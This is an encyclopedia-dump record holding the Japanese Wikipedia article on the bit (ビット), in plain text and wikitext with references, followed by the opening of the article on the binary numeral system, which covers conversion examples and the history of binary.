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"text": "国際単位系では、基本となる単位の十進数の倍量・分量を表すSI接頭語が定義されている。これは一般的にビットやバイトに対しても適用されている。ただし、本来の十進数の倍量(1000の冪乗)ではなく、1024 (=2)の冪乗を表すのに使用されることもあり、曖昧さの回避のために1024の冪乗であることを明示する別の接頭辞が定義されている(2進接頭辞を参照)。",
"title": "単位と記号"
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"text": "ストレージの情報容量や通信路の情報容量がビットやビット毎秒で表されるとき、多くの場合でバイナリデータを格納するコンピュータハードウェアの容量である二進数を指す。ストレージの情報容量は、そこに格納される情報量の上限に過ぎない。ストレージに含まれる各ビットの2つの可能な値(1と0)の数が等しくない場合、ストレージに含まれる情報の情報量は、「情報容量」として表される数値よりも小さくなる。実際、値が完全に予測可能ならば、その値の読み取りからは新たな情報は得られない(不確実性の解決が発生せず、したがって情報が利用できないため、エントロピーはゼロである)。nビットのストレージを使用するコンピュータファイルに含まれる情報がm < nビットのみの場合、その情報は原則として少なくとも平均で約mビットで符号化できる。この原則は、データ圧縮技術の基礎である。最適に圧縮された場合、伝送容量は情報量に近づく。",
"title": "情報容量と情報圧縮"
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"text": "1980年代、ビットマップコンピュータディスプレイが一般的になると、一部のコンピュータでは、画面上の特定の矩形領域に対応するビットを設定・コピーするための特殊なビットブロック転送命令(\"bitblt\"または\"blit\")を提供した。",
"title": "ビット単位の操作"
},
{
"paragraph_id": 20,
"tag": "p",
"text": "バイトやワードといった単位におけるビット位置の定義は CPU によって異なる。右端(数値としての最小位、LSB)を第0ビットにしている流儀と、左端(数値としての最大位、MSB)を第0ビットにしている流儀の両方がある。現在は前者が多い。この違いをエンディアンといい、前者をリトルエンディアン、後者をビッグエンディアンという。",
"title": "ビット単位の操作"
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| ビット (bit) は、情報理論、コンピューティング、多くのデジタル通信における情報の基本単位である。ビットは、コンピューティングでの二値ストレージやデジタル通信における二値シンボルのことも意味し、そのストレージ・シンボルには、(情報量の単位としての)1ビットの情報を記憶・符号化できる。二進数の1桁のことであり、その名前はbinary digitの2語の一部を組み合わせた語(かばん語)である。 情報理論では、1ビットは通常、等しい確率で0または1である二進数ランダム変数の情報量(情報エントロピー)、またはそのような変数の値が判明したときに得られる情報として定義される。情報量の単位として、このビットはクロード・シャノンにちなんで名付けられたシャノンとも呼ばれる。厳密には、ビットはデータ量(ストレージ量)の単位、シャノンは情報量の単位と区別するが、歴史的経緯により後者も前者と同じ単位(ビット)で表現され、誤りの可能性を無視してよければNビットのストレージによりNビットの情報量が保持できる。 1ビットの情報は、二進数の1桁として論理値を表し、2つの値のうち1つのみを持つ。2つの状態を持つ何らかの機構によって物理的に実装できる。この状態値は、最も一般的には「0」/「1」として表されるが、真/偽 (True/False)、yes/no、+/-、on/offなどの他の表現も可能である。この値と実際の物理的状態との対応は慣習の問題であり、同じデバイスやプログラム内でも異なる割り当てを使用することができる。 ビットの単位記号は、IEC 80000-13:2008 では "bit"、IEEE 1541-2002やIEEE Std 260.1-2004では"b"(小文字のビー)を推奨している。一般に8桁の二進数のグループ(8ビット)は「1バイト (byte)」と呼ばれるが、歴史的にはバイトのサイズは厳密には定義されていない。 | {{Otheruses|[[デジタル]][[コンピュータ]]が扱うデータの最小[[単位]]}}
'''ビット''' (bit) は、[[情報理論]]、[[コンピューティング]]、多くの[[デジタル]]通信における[[情報]]の基本{{仮リンク|情報の単位|en|Units of information|label=単位}}である。ビットは、コンピューティングでの二値ストレージやデジタル通信における二値[[ボー|シンボル]]のことも意味し、そのストレージ・シンボルには、(情報量の単位としての)1ビットの情報を記憶・符号化できる。[[二進数]]の1桁のことであり、その名前は'''binary digit'''の2語の一部を組み合わせた語([[かばん語]])である<ref name="Mackenzie_1980"/>。
情報理論では、1ビットは通常、等しい確率で0または1である二進数ランダム変数の[[情報量]](情報[[エントロピー]])<ref name="Anderson_2006"/>、またはそのような変数の値が判明したときに得られる情報として定義される<ref name="Haykin_2006"/><ref name="IEEE_260"/>。情報量の単位として、このビットは[[クロード・シャノン]]にちなんで名付けられた[[シャノン (単位)|シャノン]]とも呼ばれる<ref name="Rowlett"/>。厳密には、ビットはデータ量(ストレージ量)の単位、シャノンは情報量の単位と区別するが、歴史的経緯により後者も前者と同じ単位(ビット)で表現され、誤りの可能性を無視してよければNビットのストレージによりNビットの情報量が保持できる。
1ビットの情報は、二進数の1桁として[[真理値|論理値]]を表し、2つの[[値 (情報工学)|値]]のうち1つのみを持つ。2つの状態を持つ何らかの機構によって物理的に実装できる。この状態値は、最も一般的には「0」/「1」として表されるが、真/偽 (True/False)、yes/no、+/-、on/offなどの他の表現も可能である。この値と実際の物理的状態との対応は慣習の問題であり、同じデバイスや[[プログラム (コンピュータ)|プログラム]]内でも異なる割り当てを使用することができる。
ビットの単位記号は、[[IEC 80000-13]]:2008 では "bit"、[[2進接頭辞|IEEE 1541-2002]]や{{仮リンク|IEEE Std 260.1-2004|en|IEEE Std 260.1-2004}}では"b"(小文字のビー)を推奨している。一般に8桁の二進数のグループ(8ビット)は「1[[バイト (情報)|バイト]] (byte)」と呼ばれるが、歴史的にはバイトのサイズは厳密には定義されていない。
==歴史==
データを離散ビットによって表す方法は、{{仮リンク|バジル・ブション|en|Basile Bouchon}}と{{仮リンク|ジャン=バプティスト・ファルコン|fr|Jean-Baptiste Falcon}}によって1732年に発明され[[ジョゼフ・マリー・ジャカール]]が1804年に開発した[[パンチカード]]に使用され、後に{{仮リンク|セミオン・コルサコフ|en|Semyon Korsakov}}、[[チャールズ・バベッジ]]、[[ハーマン・ホレリス]]、および[[IBM]]などの初期のコンピュータメーカーにより採用された。また、鑽孔[[紙テープ]]も同様の考えによるものであった。これら全てのシステムで、媒体(カードやテープ)は概念的に穴の位置の配列を保持していた。それぞれの位置における穴の有無が1ビットの情報を伝達した。ビットによる文章の符号化は、[[モールス信号]](1844年)や、[[テレタイプ]]、[[ストックティッカー]](1870年)などの初期のデジタル通信機でも使用されていた。
[[ラルフ・ハートレー]]は、1928年に情報の対数的計量の使用を提案した<ref name="Abramson_1963"/>。[[クロード・シャノン]]は、1948年の独創的な論文『[[通信の数学的理論]]』で「ビット」という言葉を初めて使用した<ref name="Shannon_1948_1"/><ref name="Shannon_1948_2"/><ref name="Shannon_1949"/>。シャノンは、その言葉は1947年1月9日に[[ベル研究所]]で[[ジョン・テューキー]]が書いたメモにおいて"binary information digit"(二進数情報桁)を略して"bit"と書いたことに由来するとしている<ref name="Shannon_1948_1"/>。1936年に[[ヴァネヴァー・ブッシュ]]は、当時の機械式コンピュータで使用されていたパンチカードに保存できる情報量のことを"bits of information"(情報のビット)と書いた<ref name="Bush_1936"/>。[[コンラート・ツーゼ]]によって構築された最初のプログラム可能なコンピュータは、数値に二進数表記を使用した。
==物理的表現==
ビットは、可能な2つの別個の{{仮リンク|状態 (計算機科学)|en|State (computer science)|label=状態}}のいずれかを保持するデジタルデバイスやその他の物理システムによって格納できる。例えば[[フリップフロップ]]の2つの安定状態、[[開閉器|スイッチ]]の2つの位置、電気回路で取り得る[[電圧]]または[[電流]]の2つの異なるレベル、2つの異なる[[放射照度|光強度]]レベル、[[磁性]]または{{仮リンク|電気極性|en|Electric current}}の2つの方向、[[DNA]]の二本鎖の方向などである。
ビットはいくつかの形式で実装できる。ほとんどの最新のコンピュータデバイスでは、ビットは通常、電圧や電流のパルス、またはフリップフロップ回路の電気状態によって表される。
[[正論理]]を使用するデバイスの場合、1の数字値(または「真」(True) の[[論理値]])は、0の表現よりもより高い正の電圧で表される。実際の[[電圧]]は、部品の耐久性やノイズ耐性など、部品の特性に応じて決定される。例えば、[[transistor-transistor logic]] (TTL) やその互換性のある回路では、デバイスの出力 (Output) は、0が0.4ボルト (V) 以下、1が2.6ボルト (V) 以上で表される。入力 (Input) は、0.8 V以下は0、2.2 V以上は1、として認識するように設定されている。
===伝送と処理===
ビットは、[[シリアル通信]]では一度に1つずつ、[[パラレル通信]]では複数のビットが同時に送信される。[[ビット演算]]では、ビットを1つずつ処理する場合がある。データ転送速度は、通常、kbit/sなど[[ビット毎秒]] (bit/s<!-- bps -->)に[[SI接頭語]]をつけた単位で表され、[[2進接頭辞]]は使用されない。
=== 保存 ===
[[ジャカード織機]]やバベッジの[[解析機関]]などの最も初期の非電子情報処理装置では、機械的なレバーやギアの位置、または[[パンチカード|紙のカード]]や[[紙テープ|テープ]]の特定の位置の穴の有無としてビットが保存されていた。ディスクリートロジック用の初期の電気デバイス([[エレベータ]]や[[交通信号機]]の制御回路、[[電話交換機]]、コンラート・ツーゼのコンピュータなど)は、ビットを[[継電器|電気リレー]]のオン・オフの状態として表していた。1940年代からリレーが[[真空管]]に置き換えられたとき、コンピュータの設計者は、[[水銀遅延線]]を伝わる圧力パルス、[[ウィリアムス管]]の内面に蓄積される電荷、[[フォトリソグラフィ]]技術によって[[光ディスク|ガラスの円盤]]に印刷される不透明なスポットなど、様々な保存方法を実験した。
1950年代および1960年代に、これらの方法は、[[磁気コアメモリ]]・[[磁気テープ]]・[[磁気ドラムメモリ]]・[[磁気ディスク]]などの[[磁気記録|磁気記憶装置]]に大きく取って代わられた。磁気記憶装置では、ビットは[[強磁性]]フィルムの特定の領域の[[磁性]]の方向、またはある方向から他の方向への極性の変化として表現される。1980年代に開発された[[磁気バブル]]メモリでも同じ原理が使用され、鉄道の[[切符]]や[[クレジットカード]]など[[磁気ストライプカード]]に使用されている。
[[Dynamic Random Access Memory|DRAM]]などの現代の[[半導体メモリ]]では、ビットは[[コンデンサ]]に保存された[[電荷]]の2つのレベルで表される。特定のタイプの[[プログラマブルロジックデバイス]]や [[read-only memory|RAM]] では、回路の特定のポイントでの導電パスの有無によってビットが表される。[[光ディスク]]では、ビットは反射面上の微小なピットの有無として表される。1次元[[バーコード]]では、ビットは交互の黒と白の線の太さとして表される。
== 単位と記号 ==
ビットは、[[国際単位系]] (SI) では定義されていないが、[[国際電気標準会議]] (IEC) が発行した[[IEC 60027]]では、二進数の単位の記号は "bit" であり、キロビットを表す "kbit" など全ての倍数で使用されると規定している<ref name="NIST_2008"/>。ただし、小文字の "b" も広く使用されており、[[2進接頭辞|IEEE 1541-2002]]などで推奨されている。慣習的に、大文字の "B" はバイトを表すのに使用され、両者の間には8倍の差がある。
=== 複数のビットを表す単位 ===
{{ビットの単位表}}
伝統的に複数のビットを表す{{仮リンク|情報の単位|en|units of information|label=情報単位}}がいくつか使用されてきた。最も一般的なのは、1956年6月に{{仮リンク|ワーナー・ブッフホルツ|en|Werner Buchholz}}によって作られた単位「[[バイト (情報)|バイト]]」である。これは、歴史的にコンピュータで1つの[[キャラクタ (コンピュータ)|キャラクタ]]の符号化に使用されるビットの集まりを表すために使用された<ref name="Bemer_2000"/><ref name="Buchholz_1956"/><ref name="Buchholz_1977"/><ref name="Buchholz_1962"/><ref name="Bemer_1959"/>。このため、多くのコンピュータアーキテクチャで基本的な[[アドレス空間|アドレス]]の単位として使用された。過去には様々なビット数のバイトが使用されてきたが、今日では8ビットを1バイトとする実装が広く使用されている。ただし、バイトの大きさが基礎となるハードウェア設計に依存するという曖昧さを回避するために、8ビットであることを明示的に示す単位「[[オクテット (コンピュータ)|オクテット]]」が定義されている。
通常、コンピュータは、「[[ワード]]」と呼ばれる固定サイズのビットのグループ単位で操作を行う。バイトと同様に、1つのワードに含まれるビット数もハードウェア設計によって異なる。通常は8{{~}}80ビットだが、一部の専用コンピュータではさらに大きくなる。21世紀初頭において、パーソナルコンピュータやサーバコンピュータのワードサイズは32ビットまたは64ビットである。
[[国際単位系]]では、基本となる単位の十進数の倍量・分量を表す[[SI接頭語]]が定義されている。これは一般的にビットやバイトに対しても適用されている。ただし、本来の十進数の倍量(1000の[[冪乗]])ではなく、[[1024]] (=2<sup>10</sup>)の冪乗を表すのに使用されることもあり、曖昧さの回避のために1024の冪乗であることを明示する別の接頭辞が定義されている([[2進接頭辞]]を参照)。
==情報容量と情報圧縮==
ストレージの情報容量や通信路の情報容量がビットやビット毎秒で表されるとき、多くの場合でバイナリデータを格納するコンピュータハードウェアの容量である二進数を指す<ref name="Information in small bits"/>。ストレージの情報容量は、そこに格納される[[情報量]]の上限に過ぎない。ストレージに含まれる各ビットの2つの可能な値(1と0)の数が等しくない場合、ストレージに含まれる情報の情報量は、「情報容量」として表される数値よりも小さくなる。実際、値が完全に予測可能ならば、その値の読み取りからは新たな情報は得られない(不確実性の解決が発生せず、したがって情報が利用できないため、エントロピーはゼロである)。''n''ビットのストレージを使用するコンピュータファイルに含まれる情報が''m'' < ''n''ビットのみの場合、その情報は原則として少なくとも平均で約''m''ビットで符号化できる。この原則は、[[可逆圧縮|データ圧縮]]技術の基礎である。最適に圧縮された場合、伝送容量は情報量に近づく<ref name="Information in small bits"/>。
==ビット単位の操作==
一部の[[ビット演算]]のプロセッサ命令(''bit set''など)は、データをビットの集合と解釈して操作するのではなく、個別のビットを操作するレベルで動作する。
1980年代、[[ビットマップ]]コンピュータディスプレイが一般的になると、一部のコンピュータでは、画面上の特定の矩形領域に対応するビットを設定・コピーするための特殊な[[Bit Block Transfer|ビットブロック転送]]命令("bitblt"または"blit")を提供した。
[[バイト (情報)|バイト]]や[[ワード]]といった単位におけるビット位置の定義は [[CPU]] によって異なる。右端(数値としての最小位、[[最下位桁ビット|LSB]])を第0ビットにしている流儀と、左端(数値としての最大位、[[最上位桁ビット|MSB]])を第0ビットにしている流儀の両方がある。現在は前者が多い。この違いを[[エンディアン]]といい、前者をリトルエンディアン、後者をビッグエンディアンという。
==関連項目==
* [[整数型]]
* [[プリミティブ型]]
* [[量子ビット]]
* [[ビットストリーム]]
* [[ボー]]
* [[二進法]]
* [[三進法]]
* [[バイト (情報)|バイト]] (byte)
* [[8ビット]]
* [[オクテット (コンピュータ)]]
* [[キャラクタ (コンピュータ)]]
* [[ワード]]
* [[シャノン (単位)]] - [[ナット (単位)]] - [[ハートレー (単位)]]
* [[情報量]]
* [[データ量の比較]]
==脚注==
{{Reflist|refs=
<ref name="Mackenzie_1980">{{cite book |title=Coded Character Sets, History and Development |work=The Systems Programming Series |author-last=Mackenzie |author-first=Charles E. |date=1980 |edition=1 |publisher=[[Addison-Wesley Publishing Company, Inc.]] |isbn=978-0-201-14460-4 |lccn=77-90165 |page=x |url=https://books.google.com/books?id=6-tQAAAAMAAJ |accessdate=2016-05-22 |url-status=live |archiveurl=https://web.archive.org/web/20161118230039/https://books.google.com/books?id=6-tQAAAAMAAJ |archivedate=2016-11-18}} [https://web.archive.org/web/20160526172151/https://textfiles.meulie.net/bitsaved/Books/Mackenzie_CodedCharSets.pdf]</ref>
<ref name="Anderson_2006">{{cite |author-first1=John B. |author-last1=Anderson |author-first2=Rolf |author-last2=Johnnesson |date=2006 |title=Understanding Information Transmission}}</ref>
<ref name="Haykin_2006">{{cite |author-first=Simon |author-last=Haykin |date=2006 |title=Digital Communications}}</ref>
<ref name="IEEE_260">[[IEEE Std 260.1-2004]]</ref>
<ref name="Rowlett">{{cite web |url=https://www.unc.edu/~rowlett/units/dictB.html#bit |title=Units: B |url-status=live |archiveurl=https://web.archive.org/web/20160504055432/http://www.unc.edu/~rowlett/units/dictB.html#bit |archivedate=2016-05-04|accessdate=2019-10-01}}</ref>
<ref name="Abramson_1963">{{cite book |author-first=Norman |author-last=Abramson |date=1963 |title=Information theory and coding |publisher=[[McGraw-Hill]]}}</ref>
<ref name="NIST_2008">National Institute of Standards and Technology (2008), ''Guide for the Use of the International System of Units''. [http://physics.nist.gov/cuu/pdf/sp811.pdf Online version.] {{webarchive|url=https://web.archive.org/web/20160603203340/http://physics.nist.gov/cuu/pdf/sp811.pdf |date=3 June 2016}}</ref>
<ref name="Bush_1936">{{cite journal |author-last=Bush |author-first=Vannevar |author-link=Vannevar Bush |title=Instrumental analysis |journal=[[Bulletin of the American Mathematical Society]] |date=1936 |volume=42 |issue=10 |pages=649–669 |url=http://projecteuclid.org/euclid.bams/1183499313 |doi=10.1090/S0002-9904-1936-06390-1 |url-status=live |archiveurl=https://web.archive.org/web/20141006153002/http://projecteuclid.org/euclid.bams/1183499313 |archivedate=2014-10-06}}</ref>
<ref name="Shannon_1948_1">{{cite journal |author-last=Shannon |author-first=Claude Elwood |author-link=Claude Elwood Shannon |title=A Mathematical Theory of Communication |journal=[[Bell System Technical Journal]] |volume=27 |issue=3 |pages=379–423 |date=July 1948 |doi=10.1002/j.1538-7305.1948.tb01338.x |hdl=11858/00-001M-0000-002C-4314-2 |url=http://cm.bell-labs.com/cm/ms/what/shannonday/shannon1948.pdf |archiveurl=https://web.archive.org/web/19980715013250/http://cm.bell-labs.com/cm/ms/what/shannonday/shannon1948.pdf |url-status=dead |archivedate=1998-07-15 |quote=The choice of a logarithmic base corresponds to the choice of a unit for measuring information. If the base 2 is used the resulting units may be called binary digits, or more briefly ''bits'', a word suggested by [[John Wilder Tukey|J. W. Tukey]].}}</ref>
<ref name="Shannon_1948_2">{{cite journal |author-last=Shannon |author-first=Claude Elwood |author-link=Claude Elwood Shannon |title=A Mathematical Theory of Communication |journal=[[Bell System Technical Journal]] |volume=27 |issue=4 |pages=623–666 |date=October 1948 |doi=10.1002/j.1538-7305.1948.tb00917.x |hdl=11858/00-001M-0000-002C-4314-2}}</ref>
<ref name="Shannon_1949">{{cite book |author-last1=Shannon |author-first1=Claude Elwood |author-link1=Claude Elwood Shannon |author-first2=Warren |author-last2=Weaver |author-link2=Warren Weaver |title=A Mathematical Theory of Communication |publisher=[[University of Illinois Press]] |date=1949 |isbn=0-252-72548-4 |url=http://cm.bell-labs.com/cm/ms/what/shannonday/shannon1948.pdf |archiveurl=https://web.archive.org/web/19980715013250/http://cm.bell-labs.com/cm/ms/what/shannonday/shannon1948.pdf |url-status=dead |archivedate=1998-07-15}}</ref>
<ref name="Information in small bits">[https://informationinsmallbits.com/ Information in small bits] Information in Small Bits is a book produced as part of a non-profit outreach project of the IEEE Information Theory Society.
The book introduces Claude Shannon and basic concepts of Information Theory to children 8+ using relatable cartoon stories and problem-solving activities.</ref>
<ref name="Bemer_2000">{{cite web |title=Why is a byte 8 bits? Or is it? |author-first=Robert William |author-last=Bemer |author-link=Robert William Bemer |date=2000-08-08 |work=Computer History Vignettes |url=http://www.bobbemer.com/BYTE.HTM |access-date=2017-04-03 |url-status=dead |archiveurl=https://web.archive.org/web/20170403130829/http://www.bobbemer.com/BYTE.HTM |archivedate=2017-04-03 |quote=[…] With [[IBM]]'s [[IBM STRETCH|STRETCH]] computer as background, handling 64-character words divisible into groups of 8 (I designed the character set for it, under the guidance of Dr. [[Werner Buchholz]], the man who DID coin the term "[[byte]]" for an 8-bit grouping). […] The [[IBM System 360|IBM 360]] used 8-bit characters, although not ASCII directly. Thus Buchholz's "byte" caught on everywhere. I myself did not like the name for many reasons. […]}}</ref>
<ref name="Buchholz_1956">{{cite book |title=The Link System |chapter=7. The Shift Matrix |author-first=Werner |author-last=Buchholz |author-link=Werner Buchholz |date=1956-06-11 |id=[[IBM 7030|Stretch]] Memo No. 39G |publisher=[[IBM]] |pages=5–6 |chapter-url=http://archive.computerhistory.org/resources/text/IBM/Stretch/pdfs/06-07/102632284.pdf |accessdate=2016-04-04 |url-status=live |archiveurl=https://web.archive.org/web/20170404152534/http://archive.computerhistory.org/resources/text/IBM/Stretch/pdfs/06-07/102632284.pdf |archivedate=2017-04-04 |quote=[…] Most important, from the point of view of editing, will be the ability to handle any characters or digits, from 1 to 6 bits long […] the Shift Matrix to be used to convert a 60-bit [[ワード|word]], coming from Memory in parallel, into [[キャラクタ (コンピュータ)|characters]], or "[[バイト (情報)|byte]]s" as we have called them, to be sent to the [[加算器|Adder]] serially. The 60 bits are dumped into [[磁気コア|magnetic core]]s on six different levels. Thus, if a 1 comes out of position 9, it appears in all six cores underneath. […] The Adder may accept all or only some of the bits. […] Assume that it is desired to operate on 4 bit decimal digits, starting at the right. The 0-diagonal is pulsed first, sending out the six bits 0 to 5, of which the Adder accepts only the first four (0-3). Bits 4 and 5 are ignored. Next, the 4 diagonal is pulsed. This sends out bits 4 to 9, of which the last two are again ignored, and so on. […] It is just as easy to use all six bits in [[英数字|alphanumeric]] work, or to handle bytes of only one bit for logical analysis, or to offset the bytes by any number of bits. […]}}</ref>
<ref name="Buchholz_1977">{{cite journal |author-last=Buchholz |author-first=Werner |author-link=Werner Buchholz |title=The Word "Byte" Comes of Age... |journal=[[Byte Magazine]] |date=February 1977 |volume=2 |issue=2 |page=144 |url=https://archive.org/stream/byte-magazine-1977-02/1977_02_BYTE_02-02_Usable_Systems#page/n145/mode/2up |quote=[…] The first reference found in the files was contained in an internal memo written in June 1956 during the early days of developing [[IBM 7030|Stretch]]. A [[バイト (情報)|byte]] was described as consisting of any number of parallel bits from one to six. Thus a byte was assumed to have a length appropriate for the occasion. Its first use was in the context of the input-output equipment of the 1950s, which handled six bits at a time. The possibility of going to 8 bit bytes was considered in August 1956 and incorporated in the design of Stretch shortly thereafter. The first published reference to the term occurred in 1959 in a paper "Processing Data in Bits and Pieces" by {{仮リンク|ゲリット・ブラウ|en|Gerrit Blaauw|label=G A Blaauw}}, [[フレデリック・ブルックス|F P Brooks Jr]] and {{仮リンク|ワーナー・ブッフホルツ|en|Werner Buchholz|label=W Buchholz}} in the ''[[IEEE Transactions on Computers|IRE Transactions on Electronic Computers]]'', June 1959, page 121. The notions of that paper were elaborated in Chapter 4 of ''[[#Buchholz-1962|Planning a Computer System (Project Stretch)]]'', edited by W Buchholz, [[McGraw-Hill Book Company]] (1962). The rationale for coining the term was explained there on page 40 as follows:<br/>Byte ''denotes a group of bits used to encode a character, or the number of bits transmitted in parallel to and from input-output units. A term other than ''character'' is used here because a given character may be represented in different applications by more than one code, and different codes may use different numbers of bits (ie, different byte sizes). In input-output transmission the grouping of bits may be completely arbitrary and have no relation to actual characters. (The term is coined from ''[[bite]]'', but respelled to avoid accidental mutation to ''bit''.)''<br/>[[System/360]] took over many of the Stretch concepts, including the basic byte and word sizes, which are powers of 2. For economy, however, the byte size was fixed at the 8 bit maximum, and addressing at the bit level was replaced by byte addressing. […]}}</ref>
<ref name="Buchholz_1962">{{Anchors|Buchholz-1962}}Buchholz-1962{{cite |title=Planning a Computer System – Project Stretch |author-first1=Gerrit Anne |author-last1=Blaauw |author-link1=Gerrit Anne Blaauw |author-first2=Frederick Phillips |author-last2=Brooks, Jr. |author-link2=Frederick Phillips Brooks, Jr. |author-first3=Werner |author-last3=Buchholz |author-link3=Werner Buchholz |editor-first=Werner |editor-last=Buchholz |editor-link=Werner Buchholz |publisher=[[McGraw-Hill Book Company, Inc.]] / The Maple Press Company, York, PA. |lccn=61-10466 |date=1962 |chapter=Chapter 4: Natural Data Units |format=PDF |pages=39–40 |url=http://archive.computerhistory.org/resources/text/IBM/Stretch/pdfs/Buchholz_102636426.pdf |access-date=2017-04-03 |url-status=dead |archiveurl=https://web.archive.org/web/20170403014651/http://archive.computerhistory.org/resources/text/IBM/Stretch/pdfs/Buchholz_102636426.pdf |archivedate=2017-04-03}}</ref>
<ref name="Bemer_1959">{{cite journal |author-first=Robert William |author-last=Bemer |author-link=Robert William Bemer |title=A proposal for a generalized card code of 256 characters |journal=[[Communications of the ACM]] |volume=2 |number=9 |pages=19–23 |date=1959 |doi=10.1145/368424.368435}}</ref>
}}
==外部リンク==
* [http://www.bit-calculator.com/ Bit Calculator] – a tool providing conversions between bit, byte, kilobit, kilobyte, megabit, megabyte, gigabit, gigabyte
* [http://nxu.biz/tools/BitXByteConverter/ BitXByteConverter] – a tool for computing file sizes, storage capacity, and digital information in various units
* [http://yougo.ascii24.com/gh/66/006653.html ASCII24 - アスキー デジタル用語辞典 - ビット]
* [http://e-words.jp/w/E38393E38383E38388.html e-Words ビット]
* [https://atmarkit.itmedia.co.jp/icd/root/50/5784950.html @IT:Insider's Computer Dictionary <nowiki>[bit]</nowiki>]
* [http://www.microsoft.com/japan/Terminology/query.asp?id=69&q=%u30D3%u30C3%u30C8&kbid=&key=&ui=L&dev= Microsoft Terminology]
{{データ型}}
{{デフォルトソート:ひつと}}
[[Category:情報の単位]]
[[Category:データ型]]
[[Category:コンピュータの算術]] | null | 2023-04-10T13:38:43Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E3%83%93%E3%83%83%E3%83%88 |
6,752 | 二進法 | 二進法(、英: binary numeral system, base-2 numeral system)とは、底を2とする位取り記数法および命数法である。二進法によって表された数を二進数(、英: binary number)と呼ぶ。二進法において、位は順に底2の冪(..., 1/4, 1/2, 1, 2, 4, ...)ごとに取り、位の値は 0 または 1 を取る(例:十進数の 7 (= 4 + 2 + 1) は二進法で 111、1.75 (= 1 + 0.5 + 0.25) は 1.11 と表される)。
二を底とする位取り記数法を二進記数法または単に二進法と呼ぶ。二進法による数の表示は、一の位を k = 0 とし添字 k で位の位置を表し、位の値を dk ∈ {0, 1} で表せば、以下のように書ける:
これは以下の総和の略記と見なせる:
例えば十進法における 21.25 は二進法において、
と表される(添字の 2 は二進表記であることを示す)。負の数は一般的な記数法と同じく、負号をつけて表す(例:−10101.012)。
十進法など一般の位取り記数法と同様に、二進法においても小数部が有限の長さとなる数は一部の有理数に限られ、また円周率のような無理数を厳密に表すことはできない。二進法の場合、有理数を表す既約分数について、分母が2の冪ならば有限小数として書けるが、そうでないならば有限小数としては書けない。例えば十進法では 1/5 を有限小数 0.2 で表せるが、二進法では循環小数 0.00112 = 0.00110011...2 で表さなければならない。
電子式コンピュータの電子回路などのデジタル回路(デジタル論理回路)、磁気ディスク等の記憶メディアでは、電圧の高低、磁極の N/S など、物理現象を二状態のみに縮退して扱う(離散化などと言う)ので、それに、真と偽の2つの値(2値の真理値)のみを使用する二値論理(しばしば、電子的には H と L、論理的には T と F という記号が使われる)をマッピングする。更にそこで数値を扱うには、それに「0 と 1」の二進法をマッピングするのが最適である。
多くの応用で見られるように桁数が有限の場合は、数学的に言うなら「有理数の部分集合」が表現されているわけであるが、通常は「有限精度の実数」が表現されていると解釈される。このため、コンピュータやデジタル機器は二進数が使用される。
また、八進法や十六進法や三十二進法は同じく2の冪を底とするためしばしば利用される。
ビット列によって負の数の値を表すため広く用いられる方法の一つとして、2の補数表現がある。2の補数表現は、n 桁のビット列の最上位ビットの重みを +2 ではなく −2 とするものである。2の補数表現は、そのビットパターンが、加減(及び、乗)の演算において特別な処理が不要なものになる、という特長を持つ。ただし、溢れ(オーバーフロー)の扱いが違ってくる(これは、例えばx86プロセッサにおける、キャリーフラグとオーバフローフラグの違いのことである(ステータスレジスタ#キャリーとオーバーフローを参照))。
「十進法から二進法への変換方法」などといったものを考える必要はない。どちらも数の「表現法」に過ぎないのだから、単に「表現法 → 数 → 表現法」といったようにして変換すれば良いのである。
正の整数 m を十進法から二進法に変換するのは次のようにする。
余りを求めた順の逆に並べると、それが二進法に変換された結果になる。
例:192を二進法に変換する。
よって 19210 = 110000002 である。
正で 1 未満 (0 < m < 1) である数 m を十進法から二進法に変換するのは次のようにする。
計算の例1: 1/3 を二進法に変換する。
ここで「処理」の部分の最後「 1 3 × 2 = 2 3 < 1 {\displaystyle {\begin{matrix}{\frac {1}{3}}\times 2={\frac {2}{3}}<1\end{matrix}}} 」はそれ以前に出てきた式である。このため、これ以上続けても同じ式の繰り返しで永久に終わらないことがわかる。すなわち小数部の「01」が循環することがわかるので終了する。
よって1/310=0.010101...2=0.012
(なお、アンダーバーの部分(01)は無限に繰り返しという意味)
計算の例 2: 十進法での 0.1 を二進法に変換する。
ここで「処理」の部分の最後「0.4×2 = 0.8 < 1」はそれ以前に出てきた式である。このため、これ以上続けても同じ式の繰り返しで永久に終わらないことがわかる。すなわち小数部の「0011」が循環することがわかるので終了する。
よって 0.110 = 0.0001100110011...2 = 0.000112 である。
二進命数法とは、2 を底とする命数法である。 通常、二進法の数詞を持つとされるものは二つ組で数える体系であり、乗算が含まれない。以下にパプアニューギニアの南キワイ語 (Southern Kiwai) およびシッサノ語 (Sissano) の数詞を示す。
現代日本における万進、あるいは十二進法体系であるダース・グロスなどのように、2倍ごとに新しい単位が命名される体系は、自然言語では、パプアニューギニアのメルパ語 (Melpa) でのみ知られている。
中国には古くから易の八卦や六十四卦があり、それぞれ 3 ビットと 6 ビットに相当している。易経の六十四卦の配列は対応する整数の順になっていて、それらを 1→2→4→8→16→32→64 と進展させる「加一倍の法」を11世紀の儒学者邵雍が考案した。ただし、彼らがそれを整数(ないし、数)に対応するとして理解していたという証拠はない。その配列はそれぞれが二種類の値をとる要素の 6 タプルを辞書式順序に並べたものと見ることもできる。
インドの学者ピンガラ (Pingala, 紀元前200年頃) は韻律を数学的に表現する方法を考案し、それが現在知られている最古の二進法の記述の一つとされている。
同様の二進法的組合せの使用は、アフリカのヨルバ人が行っていた占い Ifá にもあり、中世ヨーロッパやアフリカのジオマンシーにも見られる。2 を底とする体系はサハラ以南のアフリカでジオマンシーに長く使われていた。
1605年、フランシス・ベーコンはアルファベットの文字を2種の記号の列で表す体系を論じ、任意の無作為なテキストで微かに判別可能なフォントの変化に符号化できるとした。一般理論として彼が指摘した重要な点は、同じ方法をあらゆる物に適用できるという点であり、「2種類の異なる状態をそれらの物で表現できればよく、鐘、トランペット、光、松明、マスケット銃など同様の性質があればどんなものでもよい」とした。これをベーコンの暗号(英語版)と呼ぶ。
数学的に二進法を確立したのは17世紀のゴットフリート・ライプニッツで、"Explication de l'Arithmétique Binaire" という論文も発表している。ライプニッツは現代の二進法と同じく、1 と 0 を使って二進法を表した。ライプニッツは中国愛好家でもあり、後に「易経」を知って、その八卦に 000 から 111 を対応させ、彼の賞賛してきた中国の哲学的数学の偉大な成果の証拠だとした。
1800年代中頃、イギリスの数学者ジョージ・ブールがブール代数(ブール論理)により、二進的な数(ここで言う「数」は、数学的な広義の意味であり、普通の二進法の対象である、数値という意味ではない)の代数による命題論理の形式化を示した。
